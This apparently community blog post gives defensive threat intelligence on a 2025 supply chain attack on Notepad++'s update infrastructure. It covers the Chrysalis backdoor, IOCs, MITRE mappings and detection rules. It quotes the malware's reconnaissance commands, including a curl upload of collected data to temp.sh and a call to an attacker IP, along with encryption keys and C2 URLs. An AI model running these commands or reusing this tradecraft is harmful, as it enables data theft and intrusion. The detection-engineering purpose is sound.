Skip to main content
Blog

Notepad++ Supply Chain Attack: Complete Threat Intelligence for Detection Engineering

  • February 3, 2026
  • 0 replies
  • 11 views

Forum|alt.badge.img

A state-sponsored supply chain attack compromised Notepad++'s update infrastructure from June to December 2025, Ampcus Cyber enabling Chinese APT group Lotus Blossom Securelist (aka Billbug, Lotus Panda, Raspberry Typhoon) to deliver malicious payloads to targeted victims. The Hacker News The attackers deployed three distinct infection chains Securelist featuring rotating C2 infrastructure, a custom backdoor called Chrysalis, Ampcus CyberRapid7 and multiple evasion techniques including DLL sideloading, ProShow vulnerability exploitation, and Microsoft Warbird abuse. The Hacker NewsRapid7 This report provides comprehensive technical details for building Sigma/Delta detection rules.

Attack timeline and initial access vector

The compromise began in June 2025 when attackers breached Notepad++'s shared hosting provider, Ampcus Cyber gaining the ability to intercept and redirect update traffic. Direct server access ended September 2, 2025, but attackers retained internal service credentials until December 2, 2025. Help Net Security +2 Active malicious payload deployment occurred from late July through late October 2025, Ampcus CyberSecurelist targeting approximately a dozen machines belonging to government entities in the Philippines, financial institutions in El Salvador, IT service providers in Vietnam, and individuals across Southeast Asia and Australia. CyberInsiderHelp Net Security

The attack exploited insufficient update verification controls in the WinGUP updater (gup.exe). When targeted users requested updates, their traffic was selectively redirected to attacker-controlled servers CSO Online serving trojanized NSIS installers. Help Net SecurityInfosecurity Magazine The legitimate notepad++.exe and GUP.exe binaries were not compromised—the attack occurred purely at the infrastructure level. The Hacker NewsSOCRadar


Three distinct infection chains with rotating infrastructure

Chain #1: ProShow exploitation (July–August 2025)

This chain deliberately avoided DLL sideloading, exploiting CVE-2012-10051, a stack-based buffer overflow in Photodex ProShow Producer, to evade EDR detection. The NSIS installer created %appdata%\ProShow\ and dropped legitimate ProShow files alongside a malicious load file containing dual shellcodes—a decoy at the start and the actual Metasploit downloader in the middle. When ProShow.exe launched, the buffer overflow triggered shellcode execution, which decrypted a Metasploit downloader that retrieved a Cobalt Strike beacon from https://45.77.31[.]210/users/admin or https://cdncheck.it[.]com/users/admin.

Chain #2: Lua interpreter abuse (September–October 2025)

A smaller ~140KB NSIS installer created %appdata%\Adobe\Scripts\ and dropped a legitimate Lua interpreter with a malicious alien.ini compiled script. The Lua script allocated executable memory and executed shellcode via the EnumWindowStationsW API callback, loading a Metasploit downloader that fetched Cobalt Strike beacons from https://safe-dns.it[.]com/help/Get-Start.

Chain #3: Chrysalis backdoor via DLL sideloading (October 2025)

The final chain deployed the custom Chrysalis backdoor using DLL sideloading. Ampcus Cyber The NSIS installer created a hidden %appdata%\Bluetooth\ directory and dropped three files: BluetoothService.exe (renamed Bitdefender Submission Wizard), log.dll (malicious DLL), and BluetoothService (encrypted shellcode). The Hacker News When BluetoothService.exe loaded log.dll, it decrypted and executed the Chrysalis backdoor using a Linear Congruential Generator cipher with FNV-1a and MurmurHash-style finalizers. Cyber Press


Chrysalis backdoor: technical specifications for detection

Chrysalis is a feature-rich implant with 15 distinct commands supporting interactive shell access, file operations, and complete self-removal. Cyber Press Key technical characteristics:

Component Technical Detail
Main module decryption XOR+add+sub with key gQ2JR&9;
Configuration decryption RC4 with key qwhvb^435h&*7
C2 communication encryption RC4 with key vAuig34%^325hGV
API hashing FNV-1a (0x811C9DC5) + MurmurHash finalizer (0x85EBCA6B)
Mutex Global\Jdhfv_1.0.1
C2 URL format /a/chat/s/{GUID} (mimics DeepSeek API)

Command tags and capabilities:

  • 4T: Interactive cmd.exe reverse shell
  • 4V: Create process (remote execution via CreateProcessW)
  • 4W/4X: Write file/chunk to disk
  • 4Y: Read and exfiltrate file data
  • 4\: Full self-removal and cleanup
  • 4_/4``/4a/4b`: Drive enumeration, file enumeration, file deletion, directory creation
  • 4c/4d: Download/upload files from/to C2

Persistence mechanisms: Primary method creates a Windows Service; fallback modifies registry Run keys. Command-line arguments control execution: no arguments triggers installation, -i spawns new instance with -k, and -k executes main C2 logic.


Complete indicators of compromise

Malicious update.exe hashes (SHA1)

Hash Chain Period
8e6e505438c21f3d281e1cc257abdbf7223b7f5a Securelist #1 Late July 2025
90e677d7ff5844407b9c073e3b7e896e078e11cd #1 Early August 2025
573549869e84544e3ef253bdba79851dcde4963a #2 Mid-September 2025
13179c8f19fbf3d8473c49983a199e6cb4f318f0 #2 Late September 2025
4c9aac447bf732acc97992290aa7a187b967ee2c #2 Late September 2025
821c0cafb2aab0f063ef7e313f64313fc81d46cd #2 Mid-October 2025
d7ffd7b588880cf61b603346a3557e7cce648c93 #3 October 2025

Chain #3 component hashes (SHA256)

File Hash
update.exe a511be5164dc1122fb5a7daa3eef9467e43d8458425b15a640235796006590c9
BluetoothService.exe 2da00de67720f5f13b17e9d985fe70f10f153da60c9ab1086fe58f069a156924
BluetoothService 77bfea78def679aa1117f569a35e8fd1542df21f7e00e27f192c907e61d63a2e
log.dll 3bdc4c0637591533f1d4198a72a33426c01f69bd2e15ceee547866f65e26b7ad
ConsoleApplication2.exe (Warbird loader) b4169a831292e245ebdffedd5820584d73b129411546e7d3eccf4663d5fc5be3

Auxiliary file hashes (SHA1)

File Hash Chain
load (exploit payload) 06a6a5a39193075734a32e0235bde0e979c27228 #1
alien.ini (Lua script) ca4b6fe0c69472cd3d63b212eb805b7f65710d33 #2
log.dll f7910d943a013eede24ac89d6388c1b98f8b3717 #3

Network infrastructure

Malicious update delivery servers:

45.76.155[.]202 (July-September 2025)
45.32.144[.]255 (October 2025)
95.179.213[.]0 (Late October 2025)

Cobalt Strike C2 servers:

45.77.31[.]210 (Chain #1)
61.4.102[.]97 (Chrysalis C2 - Malaysia)
59.110.7[.]32:8880 (Chain #2)
124.222.137[.]114:9999 (Chain #2)

C2 domains:

cdncheck.it[.]com - CS beacon download/C2
self-dns.it[.]com - System info upload
safe-dns.it[.]com - Metasploit downloader/CS C2
api.skycloudcenter[.]com - Chrysalis C2
api.wiresguard[.]com - CS beacon C2
temp[.]sh - Legitimate service abused for exfil

All malicious URLs

Update delivery URLs:

http://45.76.155[.]202/update/update.exe
http://45.32.144[.]255/update/update.exe
http://95.179.213[.]0/update/update.exe
http://95.179.213[.]0/update/install.exe
http://95.179.213[.]0/update/AutoUpdater.exe

System information upload:

http://45.76.155[.]202/list
https://self-dns.it[.]com/list
https://temp.sh/upload

Cobalt Strike beacon GET requests:

https://45.77.31[.]210/api/update/v1
https://cdncheck.it[.]com/api/update/v1
https://cdncheck.it[.]com/api/getInfo/v1
https://safe-dns.it[.]com/resolve
https://api.wiresguard[.]com/update/v1
https://api.wiresguard[.]com/api/getInfo/v1
http://59.110.7[.]32:8880/api/getBasicInfo/v1
http://124.222.137[.]114:9999/api/updateStatus/v1

Cobalt Strike beacon POST requests:

https://45.77.31[.]210/api/FileUpload/submit
https://cdncheck.it[.]com/api/Metadata/submit
https://cdncheck.it[.]com/api/FileUpload/submit
https://safe-dns.it[.]com/dns-query
https://api.wiresguard[.]com/api/FileUpload/submit
https://api.wiresguard[.]com/api/Info/submit
http://59.110.7[.]32:8880/api/Metadata/submit
http://124.222.137[.]114:9999/api/Info/submit

Chrysalis C2 URL:

https://api.skycloudcenter[.]com/a/chat/s/70521ddf-a2ef-4adf-9cf0-6d8e24aaa821

File system artifacts and paths to monitor

Chain-specific directories

Chain Directory Attribute
#1 %appdata%\ProShow\ Normal
#2 %appdata%\Adobe\Scripts\ Normal
#3 %appdata%\Bluetooth\ HIDDEN
Secondary C:\ProgramData\USOShared\ Normal
NSIS temp %localappdata%\Temp\ns.tmp\ Normal

Key files to detect

 

 

%appdata%\ProShow\load                    # Exploit payload
%appdata%\ProShow\1.txt # System info output
%appdata%\Adobe\Scripts\alien.ini # Malicious Lua script
%appdata%\Adobe\Scripts\a.txt # System info output
%appdata%\Bluetooth\BluetoothService.exe # DLL sideloading target
%appdata%\Bluetooth\BluetoothService # Encrypted shellcode
%appdata%\Bluetooth\log.dll # Malicious DLL
C:\ProgramData\USOShared\svchost.exe # Renamed Tiny-C-Compiler
C:\ProgramData\USOShared\conf.c # Metasploit shellcode source
u.bat # Self-deletion script

Shell commands executed by malware

Chain #1 reconnaissance:

cmd /c whoami&&tasklist > 1.txt
curl.exe -F "file=@1.txt" -s https://temp.sh/upload
curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202

Securelist

Chain #2 reconnaissance (early version):

cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt

Chain #2 reconnaissance (later version):

cmd /c whoami >> a.txt
cmd /c tasklist >> a.txt
cmd /c systeminfo >> a.txt
cmd /c netstat -ano >> a.txt

Metasploit loader execution:

C:\ProgramData\USOShared\svchost.exe -nostdlib -run C:\ProgramData\USOShared\conf.c

Process parent-child relationships for detection

Critical execution chains:
notepad++.exe → gup.exe → update.exe (malicious NSIS installer)
gup.exe → cmd.exe → whoami/tasklist/systeminfo/netstat
update.exe → ProShow.exe → [shellcode execution]
update.exe → script.exe alien.ini (Lua execution)
update.exe → BluetoothService.exe → [log.dll sideload → Chrysalis]
svchost.exe -nostdlib -run conf.c → [Cobalt Strike beacon]
rundll32.exe (no arguments) → [Cobalt Strike indicator]

Detection logic for GUP.exe child processes:

ParentImage ends with "GUP.exe" AND 
Image NOT downloaded from ("notepad-plus-plus.org", "github.com")

MITRE ATT&CK technique mappings

Technique ID Name Context
T1195.002 Supply Chain Compromise: Compromise Software Supply Chain Update infrastructure hijacking
T1574.002 Hijack Execution Flow: DLL Side-Loading BluetoothService.exe + log.dll CrowdStrike
T1203 Exploitation for Client Execution ProShow CVE-2012-10051
T1059.003 Windows Command Shell Reconnaissance commands
T1082 System Information Discovery whoami, systeminfo
T1057 Process Discovery tasklist
T1016 System Network Configuration Discovery netstat -ano
T1543.003 Windows Service Chrysalis persistence
T1547.001 Registry Run Keys Fallback persistence
T1071.001 Application Layer Protocol: Web Protocols HTTPS C2
T1041 Exfiltration Over C2 Channel Data upload via POST
T1140 Deobfuscate/Decode Files Encrypted shellcode
T1027 Obfuscated Files API hashing, custom encryption
T1036 Masquerading Renamed Bitdefender binary

Detection opportunities by log source

Sysmon events

Event ID Detection Use Case
1 GUP.exe spawning unexpected child processes; reconnaissance command execution Black Hills Information Security
3 GUP.exe network connections to non-standard domains; unusual outbound from %AppData% executables
7 log.dll loading from %AppData%\Bluetooth; unsigned DLLs in signed processes
11 File creation in %localappdata%\Temp\ns.tmp, hidden %AppData% directories
13 Registry Run key modifications for persistence
17 Cobalt Strike named pipes (MSSE-####-server, msagent_##, postex_*) Wazuh
22 DNS queries to temp[.]sh, C2 domains

Windows Security Event Log

Event ID Detection Use Case
4688 Process creation with command line capturing reconnaissance commands
4624 Logon events associated with lateral movement
7045 New service installation (Chrysalis persistence)

Web proxy/firewall detection

High-priority indicators:

  • HTTP requests with temp[.]sh URLs embedded in User-Agent header
  • DNS queries to temp[.]sh from corporate endpoints
  • Traffic to C2 domains: cdncheck.it[.]com, safe-dns.it[.]com, api.skycloudcenter[.]com, api.wiresguard[.]com
  • Connections to non-standard ports: 8880, 9999
  • POST requests to /api/FileUpload/submit, /api/Metadata/submit, /dns-query
  • URL patterns mimicking DeepSeek API: /a/chat/s/{GUID}

User-Agent strings observed:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.4044.92 Safari/537.36